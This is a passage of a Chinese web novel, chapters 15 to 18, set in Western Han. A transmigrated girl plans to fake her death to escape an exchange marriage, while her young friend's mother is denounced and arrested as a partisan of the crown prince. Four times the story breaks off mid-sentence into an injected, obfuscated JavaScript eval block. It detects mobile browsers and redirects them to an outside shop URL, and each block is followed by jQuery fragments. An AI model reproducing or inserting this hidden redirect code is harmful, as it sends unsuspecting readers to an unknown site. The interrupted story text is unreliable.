“多谢了。”李无忧接过陶罐,心道,我可真是个傻的,寻常人家怎么会通药理啊,这是多么明显的线索啊。
“真的甜滋滋的呢。”李母喝了一口甜水,吧砸嘴仔细回味,“入嘴不觉得,等咽下去,那甜味儿就上来了。”
“真好喝。”李母回味无穷,又问田贞甘草是什么草,去哪儿能摘到。
“甘草不是草,而是根。”田贞解释,“长得和相思豆有点像,根又粗又长。咱们这片我没见到过,是我阿母从药铺买的。”
“啧。”觉得自己被小孩儿教了的李母脸拉了下来,把碗一放,阴阳怪气道,“我们小老百姓家喝不了这种精贵物。”
“不精贵。”田贞像是听不懂画外音,反问田母,“这碗水要是五钱一碗,您买不买。”
“疯了吧!”李母声音拔高,“我喝你一碗水,你收我五钱?”
“不不不。”田贞赶忙解释,“我的意思是,如果您赶了半天的路,又热又渴,这个时候五钱可以喝上一碗甜滋滋的凉水,您买不买?”
田贞想,市集上一碗梅浆要十五钱,自己这甘草水就收五钱,不为过吧。
“不买!”李母气呼呼的走了。
“?”田贞疑惑看向李无忧,意思是:你阿母咋地了?
李无忧两手一摊,耸耸肩,表示自己也不知道。
“那无忧姐姐买不买?”田贞不放弃市场调查。
李无忧没回答,反问,“之前不是告诉你了,咱们不是市籍,不好做买卖的。还不死心?”
“我不好去做买卖,但是我可以雇人去做啊。”田贞算盘打得啪啪响,“甘草很便宜的,四十钱一斤,一碗甘草水只要三四片甘草,都用不着一钱,我卖五钱,能赚四钱,卖十碗就能回本,剩下的就纯赚啦!就算是雇人对半分,也是赚大了!”
李无忧看着说起赚钱都满眼亮晶晶的小孩儿,暗道,莫不是这位才是主角?
“无忧姐姐,咱们一起干!一起发财。”田贞力邀李无忧入伙,又问,“你觉得我这个主意怎么样?”
“是个赚钱的好主意。但是吧。”李无忧指出,“你得要有这么客户呢。”
“啊?”
李无忧问,“你上回去南市喝梅浆的时候,客人多吗?”
回忆当时,田贞摇头,“没有,就我和阿母。”
“这不就得了。利润再大,卖不出去也是白搭。咱们长陵邑总计才多少人,想喝甜水儿的才几个?”比如李母,免费送的,她照收不误,一听要钱,跑的比马还快。
“而且你还要雇人。”
“啊.....”田贞雄心壮志被泼了一盆冷水,如打霜的茄子一样蔫吧了。
“不过.....”李无忧话音一转,“你以后去了长安,可以开个甜水铺子,到时候便是卖二十钱一碗,也是有人买的。”一则,长安人多,也有钱;二则,丞相家的铺子,怎么也不能亏本啊。朝廷虽然规定官员不的经商,但是吧,人一旦有了权,钱就会自动找上门。到时候,田贞哪里还需要雇人做生意,多的是商人上门投诚寻求庇护。
“去长安?”田贞手指自己,“我吗?”
“可是我阿母说,咱们普通百姓是没法随意离开自己的地方的,必须要有官方签发的传。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374706|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“总有一天可以去的。”李无忧暗道,你马上就不是普通小老百姓喽。
“苟富贵,勿相忘哈!”有个丞相孙女当朋友,李无忧觉得自己长安之行也不算是做白日梦了。
只是......想起那日在林子里遇见的男人。李无忧的好心情荡然无存,不禁诅咒道,“他要是能走路摔死、吃饭噎死、上厕所掉茅坑淹死就好。”他死了,自己才能活。
然而,不等李无忧收到“长陵里死了个贵人”的喜讯,一个噩耗抢先降临。
七月的天,热得要命。太阳刚一露头,地上就像找了火,天地间成了大蒸笼。人坐在屋里,不动都是一身汗。
李无忧还在织布,只是没织一会儿就要擦擦手心的汗渍,担心污了布匹。如此,织布效率大不如从前。
“哎.....还不如我去抓鱼卖钱。”李无忧叹气。
就在这时,外头传来一阵脚步声。李无忧听那脚步轻快,以为是田贞来窜门,抬眼去看,却是李母。
李母水里提着水桶,这是打水回来了——整个官邑就一口井,如今朝廷戒严,不许百姓随意走动,于是,打水便成了众人放风的好机会。
李母头上搭着井水浸湿的汗巾,脸皮晒得黝黑通红,面上却挂着大大的笑容,眼中闪着奇异的光,看得李无忧无端心头一颤。
果然,李母一开口,“我给你找了户好人家!”
七月的天,李无忧如坠寒窖。
“前些日子排队打水的时候,我托人给你听着适合的对象。这不,才没几日,就物色到合适的人选了!”李母高兴地直拍大腿。
“是...谁.....”此时此刻,李无忧真正体会到了什么叫前有狼,后有虎,进退两难,天要杀我。
“真正是个好人家,姓楚,住在北邑!”李母两眼放光,又重复一句,“姓楚呢!”
长陵邑两个大姓:田和楚。都是昔日六国贵族,被朝廷统一迁徙到了长陵邑。
李无忧冷静提醒,“不是所有姓楚的都是富贵人家。”
“便是旁支,但有个有权有势的亲戚,总好过没有啊。”李母自然不会一个姓氏便将女儿许了出去,她看中的这户人家自然还有旁的好处。
“这家人是兄妹两个。”李母将那户人家的详情细细道来,“到时候,你嫁过去,楚家妹子嫁过来,亲上加亲,多好啊!”关键是,如此这般可以嫁妆两免。且走了一个李无忧,又来一个楚家女,家中一个劳动力没少!虽然没占到大便宜,可是也没损失啊!
听着阿母的盘算,李无忧一颗心坠到谷底:什么亲上加亲,分明就是换亲啊!楚家为了娶媳妇能将自家女儿舍出去换亲,能是什么好人家!
“这样的人家恐怕.....”李无忧想说服阿母不要为眼前的小利所惑,然而,李母沉浸在喜悦中,什么话都听不进去。
“过几日你阿父休沐,也不知道回不回来。”八月大祭在即,官邑的男人们便是休沐日也未必能回家。
“等他回来,咱们便把这个事儿给定了。”李母神采飞扬,“也不知道楚家女如何,干活利索不利索。希望是个身子骨强的,不用太漂亮了......”
“真是的,怎么这个时候戒严,不然我明日就请媒人......”
李母等不及了,而李无忧也等不及了。
16.第 16 章
第十六章
对于西汉的平民女子而言,一场说走就走的离家出走不是一次充满冒险的远行,而是一场九死一生的赌博。她的面前,几乎没有任何一条安全的道路。
可是,难道留下来就能活吗?
兴许能活,但也是苟活,如此还有什么意义呢?
李无忧宁可轰轰烈烈一场,也不愿麻木的长命百岁。
幸而,为了这一场轰轰烈烈,李无忧从很早以前就在做准备,至少,她攒了不少钱财。
“无忧姐姐。”田贞看着眉头紧锁,两眼放空的李无忧,出声提醒,“织错了。”
闻言,李无忧低头一看,本该平整的布匹上拱起一片疙瘩,应该是自己想事情出神时手上不自觉收紧了力道,织出的布便不均匀了。
“无忧姐姐?你是遇上什么事儿吗?”田贞很敏锐,她察觉出李无忧平静面容下的暗流涌动。
田贞环顾左右,发现周遭无人,凑上前,小声问,“是因为上次那个奇怪的人吗?”除此之外,田贞想不出还有什么事情和人会令厉害的无忧姐姐愁眉不展。
“嗯。”李无忧轻轻应了一声,并不多言。她看向田贞,一眼落进小孩儿那担忧的眼神里。那目光清澈如春水,干净不含任何杂质,只有最最纯粹的关切。
“你愿意帮我吗?”李无忧试探问。
“当然!”田贞重重点头,她做了个拔刀的动作,豪气道,“义不容辞!”
李无忧被小孩儿挺着胸脯慷慨就义的模样逗笑,点点田贞的额头道,“你知道我要做什么吗?万一是要杀人放火呢?”
“杀谁?”田贞做了个抹脖子的动作,两眼放光。
李无忧:.......这是个魔童吧!
“不杀谁。”李无忧无语,“我能要杀谁啊。”
“哦。”
“你在失望个什么啊!”李无忧抓狂。
“那无忧姐姐是要做什么?”田贞问。
“我想走。”
“走?”
“是的,离开长陵邑。”情况已经容不得李无忧多等了,无论是被那个神秘人带去长安,还是被嫁去北坊换亲,都不是李无忧想要的。一旦成为了某人的妻或者妾,逃跑的难度将会大大增加。
汉朝法律对女子逃亡有严厉的惩罚规定。律令明确维护"夫尊妻卑"的原则,严禁已登记结婚的女子逃亡。一旦被抓回,重则处以徒刑,轻则将强制成为妾或女奴。
“那我要怎么帮你?”田贞不管来龙去脉,她只蒙头跟着李无忧走。
“我是这样打算的.....”李无忧准备假死脱身。
“到时候,我把鞋子留在河边,人却不见了。等人来寻,必定以为我是落水了。”这是李无忧的计划,她准备等八月大祭一过,戒严解除就实施。
“我需要做什么。”田贞听的认真。
“你......”李无忧原本的打算是假死当天就逃走,能走多远就走多远。然而,现在田贞加入进来,计划可以更加完善。
“一开始会找得很着急。万一还惊动了官府,那就更难跑走了。”李无忧准备利用灯下黑的原理,“我先藏起来,等风声过去了,大家觉得我一定是死了,我再走。”而藏起来的这段时间,需要田贞帮忙打掩护。
“好!”田贞一口应下,无需李无忧叮嘱,她拍着胸口保证,“一定保密!”
“我相信你。”李无忧对田贞还算放心,不说别的,就那日在林子里遇见那男人的事,至今没有第三个人知道,可见田贞的嘴很严。
“无忧姐姐走了后,咱们还能再见面吗?”想起这个,田贞有些难受。
“这个啊......”李无忧无奈一笑。其实她知道自己的计划几乎相当于飞蛾扑火,自寻死路。就算真的逃出了长陵邑又如何?等待自己的会是什么?
可能被人贩子控制,卖入豪门为奴为婢;可能撞到一个男人手里,被抓回去当老婆生一堆孩子;更可能因为没有身份文书被官方当做细作投入打牢,流放边疆。
为了避免以上的可能,李无忧只能往深山老林里钻。如此,可能葬身野兽之腹,可能在饥寒交迫中凄惨死去。
李无忧清醒的知道前路艰难,但她还是要走。
必须走!
看着小孩儿忧伤的眼神,李无忧咧嘴大笑,“什么时候能再见面啊。等我功成名就的那一日吧!到时候我闻名天下,你想找我,还不容易么。”
“嘿嘿!”田贞信了李无忧的话,顿时乐呵了,离别的伤感全消。
看着田贞傻乐呵的模样,李无忧心底生出更多的勇气来。她想,自己来这大汉朝走一遭,也不算了无痕迹了,至少这傻小孩儿记得自己,并且认定自己在世界的某个角落奋斗努力着。
接下来的日子里,李无忧和田贞还每日混在一起。两人就是过冬前的小松鼠,忙忙碌碌地为“出逃”做准备。
“这件袄子和靴子,你有地方藏吗?”李无忧计划是八月走,但冬天的衣物必不可少。一旦走出长陵邑,她就成了黑户,便是身上有钱财,也没地方置办冬衣。
“可以藏在我家东客房。但是....”田贞提出不妥当之处,“你不是想要大家以为你是落水死了吗。到时候,如果李婶发现家里丢了衣物,会不会产生怀疑?”袄子和靴子对寻常百姓家而言可是个大资产。
“也是......”李无忧觉得田贞言之有理。
出逃并不是个容易的事情。但李无忧依旧没有改变主意,她宁可为自己一意孤行的后果买单,也不愿意去麻木地活。
时间一日日过去,七月中旬的时候,李父终于得以休沐回家一趟。
“长安城的公子哥是真难服侍。”李父憋着一肚子的抱怨话,就等着回家和妻儿倾诉,“其实我们做事不难的,八月大祭哪年不搞,要做什么,要准备什么,要注意什么,要防备什么,我们心里都门清。偏偏要派个外行的来指挥内行的,这不是胡搞么......”
“好在,他应该马上要走了。”李父庆幸道,“陛下去甘泉宫避暑了,召了他伴驾。哎,谁让人家有个好爹呢。”
李无忧原本在一旁沉默听着,当听到“他应该马上要走了”的时候,心里猛得揪——她直觉李父口中那个长安来的贵人就是那日在林子里遇见的男人。
待再听到“陛下召了他伴驾”,李无忧又松了口气:皇帝召见,那必然一时半会理会不到自己的事儿了。
“我也有事儿要和你商量呢。”等李父抱怨完,李母就迫不及待将为女儿相看人家的事情道来。
“恐怕不怎么好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380588|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”李父听完,面上犹豫,“这是换亲,说出去多不好,挨人家笑话呢。”
“是实惠重要,还是被人家笑话重要?”李母不以为意。
“还早呢,别这么急。”
李母催促,“怎么能不急。过了这个村就没这个地儿了。”再等,上哪里找这样实惠的人家去。
“那......”李父还在犹豫。
“等过了八月大祭,就请媒婆上门。”李母一锤定音,不容李父多想。
“行吧,你看着办。”本不是什么大事儿,李父不太在意,他继续抱怨,“我告诉你,长安来的贵人,哎呦,精贵呢.......”
夫妻二人说得热火朝天,完全没意识到李无忧越来越冷漠的眼神。
“阿姐,你要嫁人了啊?”大壮也在一旁听着,满面愁容。
“嗯。”李无忧淡淡应了一声。
“啊!”大壮捂头大喊,“怎么突然就要嫁人了呢?我不同意!”
“瞎嚷嚷什么呢!”李母挥手驱逐大壮,“大人的事儿轮不到小孩儿插嘴。”
大壮扁着嘴,嘟囔道,“阿姐走了,谁给我钓鱼啊,我还想吃大鱼头呢。”
“我当什么事儿呢。”李母点点儿子的额头,嘴角带着奇异的笑意,“放心吧,马上你就有媳妇了。到时候,你媳妇给你钓大鱼去。”
“媳妇?媳妇是什么?”大壮两眼茫然。他才八岁,文盲一个,哪里知道媳妇是什么。
“媳妇啊......”李母将媳妇的种种好处给儿子道来。
李无忧在一旁听着只默默闭上了眼睛,她想,此去便是身死,也不后悔。
转眼便到了七月底,李无忧已经在能力范围内做好了充足的准备,甚至田贞还为她准备了不少草药包。
“这是治毒虫毒蛇叮咬的,煮烂捣碎敷在被咬的伤口上。”
“这是治疗拉肚子的。”一个个小药包打包的严严实实,上头还做了分类标志。
计划启动在即,离别将至,田贞万分不舍,“我好难过啊。”小孩儿心里有什么便说什么。
“但是....我还是希望无忧姐姐能走,去过你想要的生活。”和分别之痛相比,田贞更希望牵挂在意的人能顺心如意。
田贞叹了口气,努力冲李无忧扯出个笑来,“无忧姐姐要是我阿母就好了。”
“啊?”李无忧不明白小孩儿这忽然来的一句。
田贞嘟着嘴,抱怨道,“之前有次,我劝阿母和我一起走,离开这儿,阿母不同意。”
“明明不开心,为什么不离开?”田贞无奈耸耸肩,面上无奈。
“原来如此。”李无忧明白过来,她揪揪田贞的脸颊,笑道,“你就放心吧,我保证,你和你阿母的日子很快就会好起来的。”等田千秋靠着为前太子刘据伸冤而平步青云,整个田家谁还敢再为难田贞的母亲呢。那可是先太子、先皇后的政治遗产。
李无忧劝田贞说好日子很快会来,但是,作为历史的先知,她万万没想到那一日来的那么快,那么突然。
在说完话的第二天,世道突然乱了。长陵邑城门外来了许多与众不同的流民——穿着丝绸,戴着金冠的流民。
这些来自皇城长安的“流民”带来了可怕的消息:长安城里打起来了!
17.第 17 章
第十七章
传言漫天,有说皇帝死了,丞相造反,太子平叛的;有说太子趁着皇帝老子不在家,发动宫廷政变篡位的。
“不可能不可能。”天底下哪有太子造反的——那位置不造反也是他的,造反图什么啊。
“你懂个屁!”这是消息更加灵通的,“皇帝和太子不和已久,去年的事儿你忘了。”这人压低声音,“卫家人全都死光了。”那可是卫大将军的儿子,太子的舅家,说死就死了,一个不留。
“就连公主,那可是亲女儿,也....”说话之人做了个手起刀落的动作。
“哎,帝王无情.....”
“闭嘴!”其余几人吓得一身冷汗,顿时脑子就清醒了,指着那莽汉大骂,“你、你、你不要命啦!”
那人却冷笑一声,“人在做,天在看,若要人不知,除非己末为!太子仁德.....”
“疯子!”几人心生恐惧,做鸟兽状一哄而散,生恐被这胡言乱语的疯子给牵连了。
长安城的腥风血雨似乎很远,远得像是舞台上的一出戏,只是众人饭桌上的谈资。但对某些人而言又很近,比如,田家。
“丧门星!丧门星!”田老太怒发冲冠,像是一头愤怒的狮子,她双目赤红,恨不得要生撕了田母。
原本,长安内乱和她们这等普通人家能有什么关系?大门一关,安心过日子便是。等过几日风头过去,便是换了皇帝也影响不到她们这些升斗小民。
可如今呢?
一想到这儿,田老太胸口上下起伏,急速喘息,指着垂着头像个木桩子一样的田母,大骂,“好处没沾到你半分,光受你的害了!贱人!贱人!”
“不许你说我阿母!”田贞再也忍不住,像个小炮弹一样冲了出去,直扑田老太。
“哎呦。”田老太被田贞扑倒摔了格屁股墩,反应过来立刻抓住田贞,“邦邦”就是两拳。,嘴上不干不净,“大贱人生的小贱人!万人睡的烂货。”
田贞被揍,理智全无,像疯狗一般扑扯撕咬,用头顶、用脚瞪、用牙咬。然而,田老太毕竟是个大人,年轻是也是干活的一把好手,她的力气岂是田贞一个小孩子能抵挡的。只两息的功夫,田贞便被打得无还手之力。
“住手!”田母忍无可忍,扑上前,加入战局。只见她一手搭上田老太的肩膀,胳膊用力,手腕一推一甩,那疯老太便如飞饼一样飞了出去,摔在地上滑出去五米才停住身形。
“你!你!”田老太没想到这个自从嫁进来就温顺恭敬的女人竟然敢反抗。
田母扶起田贞,拨开小孩儿散乱的头发,看到她嘴角的青紫和血渍,心中怒火燃燃,她冷眼看着倒地的田老太,厉声道,“长安城里是个什么情况,谁也不知道,您这般着急盖棺定论,莫不是早有消息。”
“说!你从哪里来的消息!哪家的细作!”田母气场全开,一下子就把田老太给震慑住了。
“你、你.....你什么意思,什么细作,我才不是.....”田老太没想到锅从天降。
“呵,您不知道没关系,不承认也没关系。”田母的声音像冰一样寒冷刺人,“绣衣使有的是办法让你张嘴!”
“我....我.....”田老太完全被吓住了,哆哆嗦嗦说不出一句话来,在这一刻,她才深切意识到自家媳妇不是个普通人。
“阿母!”田贞两眼亮晶晶地仰望着自家母亲,这一刻,母亲就如一座巍峨的高山挡住了一切的刀光剑影。
“您好自为之!”田母丢下一句话,带着田贞回房间。
田老太下手不轻,田贞衣服一脱,身上红肿了好几块。
“啊哈!咯咯咯。”田母给田贞涂药,结果田贞痒痒得咯咯叫。
“你啊你。”看着笑得没心没肺的小孩儿,田母无奈摇头,“太冲动了。怎么能动手打长辈呢?如此,原本道理在你这儿,反都全变成你的不好了。”
“不好就不好。”田贞无所谓,“我又不要谁夸我,也不要谁给我主持公道。”说着,田贞挥挥拳头,“我自己给自己做主。”说着,田贞想起刚刚阿母一下子掀飞人的模样,崇拜道,“阿母,你刚刚好厉害,那一招叫什么啊,你也教教我呢。”
“那一招叫四两拨千斤,关键在借力打力,使巧劲儿。”田母点点田贞的额头,“不要总想着打架,双拳难敌四掌,你一个人能打几个。”
“那我就多收些帮手。”田贞不以为意。
说罢,田贞想起了重要的事儿,她问,“奶奶今天是咋地了?发疯了吗?”
田母沉默,好一会儿才开口,“这事儿也不怨恨她.....她说的也是实话.....”
“啊?!”田贞一听阿母又要给“敌人”说好话,立时炸毛了。
“好了,我不说便是了。”田母让步,幽幽叹气,自言自语,“怎么会这样了呢......”长安内乱,太子和丞相打了起来......
想到那漫天飞的传闻,田母的心沉到了谷底。和许多人认为皇帝死了,丞相叛乱,太子平叛不同。田母认为,大概率是太子反了。而且这场造反成功的概率极低极低,不为别的,只说一点,太子手上无人啊!
想起去岁冬日那接二连三传回的噩耗:
公孙贺,太子的姨父,丞相,死在狱中。
公孙敬声,太子的表兄弟,死在狱中。
诸邑公主,太子的同母姐妹,死。
阳石公主,太子的同母姐妹,死。
卫伉,卫青大将军的儿子,太子的表兄弟,死。
一场清洗,把太子身边最能打、最能靠得住的亲戚全扫干净了。这不是巧合。这是有人一步一步把太子的路堵死,然后等着他往绝路上走。
而太子也如愿那人所愿,走上了绝路、死路。
想到这儿,田母泪流满面。
“阿母!阿母!”看母亲突然哭了起来,田贞慌了,“我不疼,一点都不疼。”她以为母亲是为自己的伤势流泪。
“有些话要告诉你,你仔细听着。”田母做最坏的打算,一旦太子兵败——除非皇帝突然暴毙死了,不然,太子必败。而太子败了后,这个家恐怕....也容不下自己了。
“阿母,你说,我仔细听。”田贞乖巧无比。
“你不是总问自己怎么没有外公外婆的么。”田母温柔无比,将自己的身世娓娓道来。
“我无父无母,在掖庭长大.....掖庭就是宫人们生活居住的地方......宫人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384915|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是......”看着女儿懵懂的眼睛,田母不得不解释许多。
“总之,我原是皇后娘娘的婢女,皇后娘娘的儿子也就是太子。如今太子......”想起太子的处境,田母哀叹一声,“太子如果不成,咱们也不会好的。”一个造反的太子,朝廷必然会对其全部势力进行清除。哪怕长陵邑不是风暴的中心,哪怕田母只是个微不足道的婢女,但是......
“只要将我推出去,就能得到奖励,就能得到官位,何乐而不为。”届时必然群狼蜂拥而至,田家便是想护,也护不住。更不要说,在这个检举成风的年岁,很多人都是被家里人背叛的......
“阿母,你在说什么啊。”田贞听得云里雾里,但她听懂了母亲言语中的不详。
田母不多解释,只叮嘱,“真到了那一天,你就走。”欣儿是男丁,公婆们未必舍得舍弃,可是,贞儿是女孩,又桀骜桀骜不驯,这个家定容不得她的。
“你不是说找个有山有水的地界么。”田母温柔地抚摸着女儿的脸蛋,“那就去吧。”
“我不走我不走。”田贞疯狂摇头。
“你不是讨厌家里么.....”
“我要和阿母在一起,阿母去哪儿我就去哪儿。”田贞扑进母亲的怀里,紧紧搂住母亲的脖子,恨不得重新钻回母亲的肚子里,如此,她们便永远在一起了,谁也不能将她们分开。
“好好好。”田母只能先安抚住女儿,“阿母只是说一种可能,只是未雨绸缪,明白吗?不一定呢......”田母嘴上说着不一定,心里很清楚自己的结局大概率是如此了。
“真的吗?”田贞不信,她泪眼婆娑地望向母亲,抽泣着,“既然是未雨绸缪,不如我们现在就走吧。阿母,我们一起走吧!”
“阿母,我们一起走吧!”田贞哀求。她不知道发生了什么事情,但她知道一定是发生了很不好的事情,而自己不能一个人逃跑。
“阿母,我们现在就走!”田贞从田母的怀里站起来,眼神坚毅,“不管那么多了,不管结局是什么,我们都走!”
“阿贞.....”田母看着勇敢坚毅的女儿,心中无限叹息:原来,孩子对父母的爱远比想象的还要多。无论自己是什么样的人,只有女儿不会抛弃自己。
但是......
“现在不成,外头太乱了。”长安城里打起来了,这年头多的是浑水摸鱼、趁火打劫的人。而且,自己是必死的结局,但贞丫头是个孩子,还是个女孩子,应该祸不及她的。
“乱才好呢!”田贞却不这样想,“乱了,到处都是逃跑的人,大家都没有官府印的传。咱们混在里头,一点不显眼。”
“好孩子!真聪明!”田贞的话让田母眼睛雪亮,她扶着田贞的肩膀郑重叮嘱,“以后就这么活!”
“那到底走不走!”
“.......”田母依旧犹豫。
这一犹豫便彻底走不得了。
两日过去,更多的消息传到了长陵邑:皇帝陛下还活着,造反的是太子,丞相是平叛的好人,丞相赢了,太子跑了,卫皇后在宫中自尽。
“娘娘!”田母闻得噩耗,喷出一口鲜血,直直倒地。
“阿母!”
18.第 18 章
第十八章
“阿母!”田贞扑到母亲的身上,急急摇晃母亲,“阿母!阿母!”她擦去母亲嘴角的血渍,掩耳盗铃般觉得擦掉了,伤害就不存在了。
“阿母!你醒醒啊!”田贞呼唤着。
“阿贞啊......”田母艰难睁开眼,气若游丝,“阿贞啊....你走吧....快走吧.....”自己是活不成了。只是到了地下,无颜面对皇后娘娘了。想起皇后娘娘,田母胸腔气血翻涌,口中腥甜。
“我不....”不等田贞说完,忽得一道大力袭来。田贞只觉身上一轻就被从母亲身上撕了出去。
“丧门星!要死别死家里!”来人是田老太,原本她还有些惧怕。可如今确切的消息都传回来了,太子跑了,皇后死了,这小贱人彻底没后台了,还怕个球啊!
田老太一把薅住田母的头发,将她往外拖,一边拖,一边喊,“太子逆党在此!太子逆党在此!”与其等其他人告发,全家受累,不如自己先把这祸家的贱人给处理了,主动划清界限。
“啊!!!!”田贞被眼前的一幕刺激到了,她尖叫着跳起来,扑到田老太身上又抓又咬。可是她太小了,好似一只小猫咬住了狮子的屁股,抓挠咬踢,拼尽全力却伤害不了分毫。
“小贱妇!”田老太身子一扭便将田贞甩开,接着一脚蹬出,将田贞像皮球一般踢了出去。
“这是做甚哦!”左右邻居听见动静,都来看热闹,就看到田老太拳打媳妇,脚踢孙女的场景。
“别打了,别打了,这都淌血了。”邻居上前劝说。
“太子逆党,人人得以诛之!”田老太好大一顶帽子扣下,劝架的众人顿时成了锯嘴的葫芦,纷纷后退,生恐沾染了麻烦。
见众人反应,田老太大感畅快。这么多年来,自从新妇进家,她心里就憋着一口气,如今终于能将这口气给出了!
扬眉吐气!爽!
李无忧也在看热闹的人群中,看着田家小院里的场景,她浑身冰凉——不该啊!不该啊!历史上田千秋因废太子才翻身的,他们家怎么能这样对待刘据和卫子夫的人呢?!
而且,说一千道一万,这是家里人啊......怎么可以这样......
“阿母.....”田贞挣扎着起身,晕乎乎的环顾左右,看到了许多熟悉的面孔,而这些面孔上一无不挂着恐惧、害怕、嫌恶和幸灾乐祸。
“无忧姐姐......”只有无忧姐姐的神色不同,是震惊,是担忧。
“阿母....”田贞调转目光,看向倒在地上生死不知的母亲,以及站在母亲身旁,叉着腰,凶神恶煞的奶奶。她不明白这一切是怎么发生的,她只知道:必须要保护母亲!
心念一动,田贞看到了倚在墙角的洗衣杖,一个健步上前,抄起洗衣杖就扑向田老太。
“天哪!”人群中发出惊呼。
“狗娘养的!”田老太一手夺过田贞手里的洗衣杖,一手呼向田贞。
“啪”一声响亮,田贞只觉头晕目眩,脸皮火辣。
这还不够,田老太举起洗衣杖就向田贞劈头盖去。
“使不得啊!”人群再度发出惊呼,只有一个身影冲向前。
“住手!”李无忧一把拽开田贞,躲过那劈头一击。
“你!你!你!”李无忧浑身颤抖,她将田贞藏在身后,直面田老太,声音颤抖,“你这是杀人!”穿越至今,这是李无忧第一次直面这个时代的落后和野蛮。
“死丫头,你充什么大头菜。”人群里看热闹正上头的李母见自家女儿竟然不要命冲进暴风中心,气得要死。
“快走!”李母拽着李无忧的胳膊,要拉她走。李无忧不走,蹲下身子往下坠,双臂紧紧抱住田贞,撕心裂肺地大喊,“这是私刑!这是犯罪!国家法度何在!?天理道义何在!”
“你这丫头,疯了不成!”李母一手撕扯李无忧的头发,一手去掐李无忧的脖子,只想赶紧将人拖走。
“无忧姐姐.....”田贞没想到在这样的生死关头,竟是李无忧挺身而出,要知道.....无忧姐姐其实不怎么喜欢自己的.....她明明那么的讨厌麻烦.....
“田奶奶!”李无忧冲田老太大喊,“本是同根生,相煎何太急啊!”
“?”显然,田老太没听懂。
就在这时,一道洪亮威严的声音穿透嘈杂的闹剧,“这是做什么呢!闹哄哄的!”
众人顿时噤声。
来者身着皂衣,腰间悬着的环刀昭显着他的身份,竟是负责长陵邑治安的长陵尉。他面容冷峻,身后跟着十来个个如狼似虎的差役。
原本聚拢着看热闹的人群像退潮的海水般向四周散开,为来人让出一条宽阔的大道来。
“这是作甚?”长陵尉缓步步入田家小院,一个打眼便约莫知晓发生了什么。原本这等家务纷争,他根本无需理会,只是如今特殊时期,多多小心,总不为过。
“大....大人....”田老太并不认得来人,但见其打扮威武,又挎着大刀,知晓对方来头不小,当下心中狂喜。
“此乃太子逆党......”田老太指向倒在地上生死不知的田母。
“!”长陵尉眼神一厉,浑身气势一边,如鹰隼般看向田老太,“你知道自己在说什么吗?!”
“知...道.....”田老太磕巴道,“此女原是皇后婢女.....”
“?!”长陵尉万万没想到这儿还藏着一条大鱼,再追问,“果真?”
“保真!”田老太一见有门,拍着胸口保证,“左右邻里何人不晓。”
“带走!”长陵尉一招手,立有两个官差上前将田母拖走。
“放开我....呜....”田贞的声音被李无忧一把捂住。
“别喊!”李无忧死死抱住田贞,留得青山在不愁没柴烧,还有翻盘的机会的!
看着田母如死狗般被拖走,田老太满意的笑了,然而,笑不过一秒,两个官差上前,一左一右钳制住田母,竟是要将她也押走。
“大人?!大人!”田老太惊慌,用力挣扎却纹丝不动,“大人,我是清白的啊!”
长陵尉才不管,只对差役门一挥手,“全都带走!”他又低头看向瘫软到底的李母。
“我....我.....”李母吓得说不出话来。
“我们是隔壁李家的,过来劝架的!”李无忧连忙解释。
长陵尉拧眉思索片刻,肃声道,“在自己家里待好,不许走动,等待传唤!”随即又让差役去里屋搜查。
“哇”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390188|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声凄厉的啼哭从屋内传出,一个官差走出来,手里提着个小孩儿,“这里还有个。”
“都带走!”长陵尉下令。他没有带走田贞,估计以为抱在一起的两姐妹都是李家人。
田老太、田母、田小弟都被抓走,围观的人群如鸟兽般一哄而散,钻回自己家中不敢露头。
“你个死丫头!要被你害死了!”李母回过神来,扑上来撕打李无忧。
“阿母,你还要闹吗?那些官差可没走远呢。”一句话制住了李母。
“我不管你了!”丢下一句话,李母连滚带爬地跑了。
田家小院归于寂静,李无忧这才松开了捂着田贞的手。
“我要去救我阿母!”田贞爬起来就跑。
“站住!”李无忧拉着田贞,厉声道,“救?你怎么救?你连个老太太都打不过。”
